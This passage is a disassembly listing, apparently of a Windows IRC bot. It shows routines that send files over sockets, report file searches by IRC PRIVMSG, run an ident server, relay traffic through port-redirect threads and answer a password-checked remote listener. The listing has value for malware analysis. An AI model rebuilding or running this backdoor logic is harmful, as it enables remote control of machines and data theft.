eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416EC1 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41BEF6 add esp, 14h jmp short loc_410C7A ; --------------------------------------------------------------------------- loc_410C4C: ; CODE XREF: sub_41061F+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_410C66 push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41BEF6 pop ecx pop ecx jmp short loc_410C7A ; --------------------------------------------------------------------------- loc_410C66: ; CODE XREF: sub_41061F+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41BEF6 add esp, 10h loc_410C7A: ; CODE XREF: sub_41061F+62Bj ; sub_41061F+645j lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_41061F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CA0 proc near ; CODE XREF: sub_4101F4+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4280F8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D58 push esi push ebx call dword_428118 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_410D51 loc_410CE5: ; CODE XREF: sub_410CA0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BC00 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410D02 mov edi, [ebp+arg_4] loc_410D02: ; CODE XREF: sub_410CA0+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_42812C ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4280EC ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz short loc_410D4C call dword_4CE29C ; WSAGetLastError cmp eax, 2733h jnz short loc_410D51 xor eax, eax loc_410D4C: ; CODE XREF: sub_410CA0+9Bj sub [ebp+arg_4], eax jnz short loc_410CE5 loc_410D51: ; CODE XREF: sub_410CA0+43j ; sub_410CA0+A8j push ebx call dword_428070 ; CloseHandle loc_410D58: ; CODE XREF: sub_410CA0+30j pop edi pop esi pop ebx leave retn sub_410CA0 endp ; =============== S U B R O U T I N E ======================================= sub_410D5D proc near ; CODE XREF: sub_410370+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B650 test eax, eax pop ecx jbe short loc_410D86 loc_410D70: ; CODE XREF: sub_410D5D+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410D7A mov byte ptr [esi+edi], 2Fh loc_410D7A: ; CODE XREF: sub_410D5D+17j push edi inc esi call sub_41B650 cmp esi, eax pop ecx jb short loc_410D70 loc_410D86: ; CODE XREF: sub_410D5D+11j mov eax, edi pop edi pop esi retn sub_410D5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410D8B proc near ; CODE XREF: sub_401AA1+51A8p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CE278 ; WSAStartup push 6 push 1 push 2 call dword_4CE388 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CE308 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A7C5 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jz short loc_410E68 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410E04 mov eax, offset byte_4404C4 loc_410E04: ; CODE XREF: sub_410D8B+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41BFF0 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CE358 ; send push esi lea eax, [ebp+var_110] push edi push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CE320 ; recv pop esi loc_410E68: ; CODE XREF: sub_410D8B+6Bj push ebx call dword_4CE3A0 ; closesocket call dword_4CE260 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41BEF6 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410EA8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_410EA8: ; CODE XREF: sub_410D8B+102j pop edi pop ebx leave retn sub_410D8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410EAC proc near ; DATA XREF: sub_40121E+430o ; sub_401AA1+436Bo var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41BC00 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_4CE308 ; ntohs push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4CE388 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_41100D mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_441254[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_4CE334 ; bind cmp eax, 0FFFFFFFFh jz loc_41100D push 5 push ebx call dword_4CE330 ; listen cmp eax, 0FFFFFFFFh jz loc_41100D mov [ebp+var_C], edi mov edi, 200h loc_410F37: ; CODE XREF: sub_410EAC+EAj ; sub_410EAC+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4CE39C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_411008 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_238] push offset unk_437730 push eax call sub_41BEF6 lea eax, [ebp+var_238] push eax call sub_415F45 add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_4CE320 ; recv cmp eax, 0FFFFFFFFh jz short loc_410F37 lea eax, [ebp+var_238] push esi push eax call sub_418615 push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41BC00 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_40AD20 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41BFF0 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jz loc_410F37 mov [ebp+var_8], 1 jmp loc_410F37 ; --------------------------------------------------------------------------- loc_411008: ; CODE XREF: sub_410EAC+A0j cmp [ebp+var_8], esi jnz short loc_411034 loc_41100D: ; CODE XREF: sub_410EAC+47j ; sub_410EAC+6Bj ... call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset unk_4376D0 push eax call sub_41BEF6 lea eax, [ebp+var_238] push eax call sub_415F45 add esp, 10h loc_411034: ; CODE XREF: sub_410EAC+15Fj push ebx call dword_4CE3A0 ; closesocket push [ebp+var_4] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi pop ebx sub_410EAC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_411057 proc near ; DATA XREF: sub_401AA1+6022o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4CE308 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4111C2 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_441254[ecx], eax call dword_4CE218 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4CE334 ; bind test eax, eax jnz loc_4111C2 push 0Ah push [ebp+arg_0] call dword_4CE330 ; listen test eax, eax jnz loc_4111C2 loc_411107: ; CODE XREF: sub_411057+C6j ; sub_411057+166j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CE39C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_411107 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_4377B8 push eax call sub_41BEF6 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40B254 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_44124C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_4111E7 push esi push esi call dword_428084 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_44125C[ecx], eax jnz short loc_4111B8 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437778 call sub_415FB9 pop ecx pop ecx jmp short loc_4111C5 ; --------------------------------------------------------------------------- loc_4111B0: ; CODE XREF: sub_411057+164j push 32h call dword_428080 ; Sleep loc_4111B8: ; CODE XREF: sub_411057+142j cmp [ebp+var_30], esi jz short loc_4111B0 jmp loc_411107 ; --------------------------------------------------------------------------- loc_4111C2: ; CODE XREF: sub_411057+63j ; sub_411057+97j ... mov edi, [ebp+arg_0] loc_4111C5: ; CODE XREF: sub_411057+157j push edi call dword_4CE3A0 ; closesocket push [ebp+arg_0] call dword_4CE3A0 ; closesocket push [ebp+var_40] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_411057 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4111E7 proc near ; DATA XREF: sub_411057+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_4CE388 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_41134A push 10h lea eax, [ebp+var_18] push edi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4CE308 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_411277 lea eax, [ebp+var_13C] push eax call dword_4CE38C ; gethostbyname jmp short loc_411285 ; --------------------------------------------------------------------------- loc_411277: ; CODE XREF: sub_4111E7+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CE2C0 ; gethostbyaddr loc_411285: ; CODE XREF: sub_4111E7+8Ej cmp eax, edi jz loc_41134A mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jz loc_41134A movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_437840 push eax call sub_41BEF6 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40B254 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_441254[ebx] mov dword_44124C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_441258[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_4113CF push edi push edi call dword_428084 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_44125C[ecx], eax jnz short loc_411383 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437800 call sub_415FB9 pop ecx pop ecx loc_41134A: ; CODE XREF: sub_4111E7+44j ; sub_4111E7+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_441254[eax] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call dword_4CE3A0 ; closesocket push [ebp+var_4] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread pop edi pop esi pop ebx loc_41137B: ; CODE XREF: sub_4111E7+19Fj push 32h call dword_428080 ; Sleep loc_411383: ; CODE XREF: sub_4111E7+14Ej cmp [ebp+var_20], edi jz short loc_41137B mov ebx, 1000h loc_41138D: ; CODE XREF: sub_4111E7+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CE320 ; recv cmp eax, edi jle short loc_41134A push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz short loc_41138D jmp loc_41134A sub_4111E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113CF proc near ; DATA XREF: sub_4111E7+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41C190 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411406: ; CODE XREF: sub_4113CF+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_441258[esi] call dword_4CE320 ; recv test eax, eax jle short loc_41144D push 0 push eax lea eax, [ebp+var_1128] push eax push dword_441254[esi] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz short loc_411406 loc_41144D: ; CODE XREF: sub_4113CF+61j push dword_441258[esi] call dword_4CE3A0 ; closesocket push [ebp+var_14] call sub_40B56A pop ecx push 0 call dword_4280D4 ; ExitThread pop edi pop esi sub_4113CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41146C proc near ; DATA XREF: sub_4116E1+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_3D4] inc ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_441254[eax] xor edi, edi mov [ebp+var_C], 1Eh mov [ebp+var_8], edi mov eax, [esi] mov [ebp+var_1F4], ebx mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CE2F0 ; select test eax, eax jnz short loc_4114F0 push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread loc_4114F0: ; CODE XREF: sub_41146C+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CE320 ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_411671 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_411671 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_411671 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CE25C ; getpeername test eax, eax jz short loc_411569 call dword_4CE29C ; WSAGetLastError push eax push offset unk_437918 call sub_415FB9 push [ebp+arg_0] call sub_40B56A add esp, 0Ch push edi call dword_4280D4 ; ExitThread loc_411569: ; CODE XREF: sub_41146C+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CE2C0 ; gethostbyaddr cmp eax, edi jnz short loc_411593 push [ebp+var_18] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_41BEF6 jmp short loc_4115A1 ; --------------------------------------------------------------------------- loc_411593: ; CODE XREF: sub_41146C+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41C520 loc_4115A1: ; CODE XREF: sub_41146C+125j pop ecx pop ecx push edi push ebx push offset byte_4404C4 push dword ptr [esi] call dword_4CE358 ; send cmp dword_4D1044, edi jnz short loc_411603 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_4116B2 add esp, 10h test eax, eax jnz short loc_411603 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CE358 ; send push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread loc_411603: ; CODE XREF: sub_41146C+14Cj ; sub_41146C+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_4378DC call sub_415FB9 push [ebp+arg_0] call sub_411968 add esp, 10h test eax, eax jnz short loc_41164A call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_4378B0 call sub_415FB9 push [ebp+arg_0] call sub_40B56A add esp, 0Ch push ebx call dword_4280D4 ; ExitThread loc_41164A: ; CODE XREF: sub_41146C+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_437884 call sub_415FB9 push [ebp+arg_0] call sub_40B56A add esp, 10h push edi call dword_4280D4 ; ExitThread sub_41146C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411671 proc near ; CODE XREF: sub_41146C+9Ap ; sub_41146C+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] loc_411678: ; CODE XREF: sub_411671+2Aj push 0 lea eax, [ebp+arg_4+3] push 1 push eax push [ebp+arg_0] call dword_4CE320 ; recv cmp eax, 1 jnz short loc_4116AE mov al, byte ptr [ebp+arg_4+3] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4116A3 test al, al jnz short loc_411678 xor eax, eax inc eax loc_4116A0: ; CODE XREF: sub_411671+3Fj pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4116A3: ; CODE XREF: sub_411671+26j push offset unk_437944 call sub_415FB9 pop ecx loc_4116AE: ; CODE XREF: sub_411671+1Bj xor eax, eax jmp short loc_4116A0 sub_411671 endp ; =============== S U B R O U T I N E ======================================= sub_4116B2 proc near ; CODE XREF: sub_41146C+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4116DD push [esp+arg_4] push [esp+4+arg_0] push offset unk_437970 call sub_415FB9 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_4116DD: ; CODE XREF: sub_4116B2+11j xor eax, eax inc eax retn sub_4116B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116E1 proc near ; DATA XREF: sub_401AA1+230Do var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] rep movsd xor edi, edi inc edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CE278 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_41173A push eax push offset unk_437AE4 call sub_415FB9 push [ebp+var_4C] call sub_40B56A add esp, 0Ch push edi call dword_4280D4 ; ExitThread loc_41173A: ; CODE XREF: sub_4116E1+3Aj push edi push offset loc_41195E call dword_428130 ; SetConsoleCtrlHandler test eax, eax jnz short loc_411773 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437AA0 call sub_415FB9 pop ecx pop ecx call dword_4CE260 ; WSACleanup push [ebp+var_4C] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread loc_411773: ; CODE XREF: sub_4116E1+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_4CE308 ; ntohs push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CE388 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4118E9 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_441254[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_4CE334 ; bind test eax, eax jnz loc_4118E9 push 7FFFFFFFh push ebx call dword_4CE330 ; listen test eax, eax jnz loc_4118E9 push offset unk_437A64 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415F45 pop ecx mov [ebp+arg_0], edi loc_411802: ; CODE XREF: sub_4116E1+15Aj ; sub_4116E1+203j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CE39C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4118EC push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_411802 movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset unk_437A20 push eax call sub_41BEF6 lea eax, [ebp+var_414] push eax call sub_415F45 push edi lea eax, [ebp+var_414] push 9 push eax call sub_40B254 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_44124C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_41146C lea eax, [ebp+var_10] push esi push eax call dword_428084 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_44125C[ecx], eax jnz short loc_4118DF call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_4379E0 call sub_415FB9 pop ecx pop ecx jmp short loc_4118EC ; --------------------------------------------------------------------------- loc_4118D7: ; CODE XREF: sub_4116E1+201j push 32h call dword_428080 ; Sleep loc_4118DF: ; CODE XREF: sub_4116E1+1DFj cmp [ebp+var_38], esi jz short loc_4118D7 jmp loc_411802 ; --------------------------------------------------------------------------- loc_4118E9: ; CODE XREF: sub_4116E1+C8j ; sub_4116E1+ECj ... mov edi, [ebp+arg_0] loc_4118EC: ; CODE XREF: sub_4116E1+13Cj ; sub_4116E1+1F4j call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset unk_4379A8 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_41192C push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_409743 add esp, 14h loc_41192C: ; CODE XREF: sub_4116E1+229j lea eax, [ebp+var_414] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push ebx call dword_4CE3A0 ; closesocket call dword_4CE260 ; WSACleanup push [ebp+var_4C] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread pop ebx loc_41195E: ; DATA XREF: sub_4116E1+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_4116E1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411968 proc near ; CODE XREF: sub_41146C+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411ABD imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_441254[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_428084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411C8F lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4119D7 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437B48 call sub_415FB9 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_411AB7 ; --------------------------------------------------------------------------- loc_4119D7: ; CODE XREF: sub_411968+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411D2D lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411A18 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437B48 call sub_415FB9 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4280B4 ; TerminateThread xor eax, eax jmp loc_411AB8 ; --------------------------------------------------------------------------- loc_411A18: ; CODE XREF: sub_411968+86j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_428134 ; WaitForMultipleObjects sub eax, ebx jz short loc_411A72 dec eax jz short loc_411A6C dec eax jz short loc_411A58 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437B10 call sub_415FB9 pop ecx pop ecx jmp short loc_411A87 ; --------------------------------------------------------------------------- loc_411A58: ; CODE XREF: 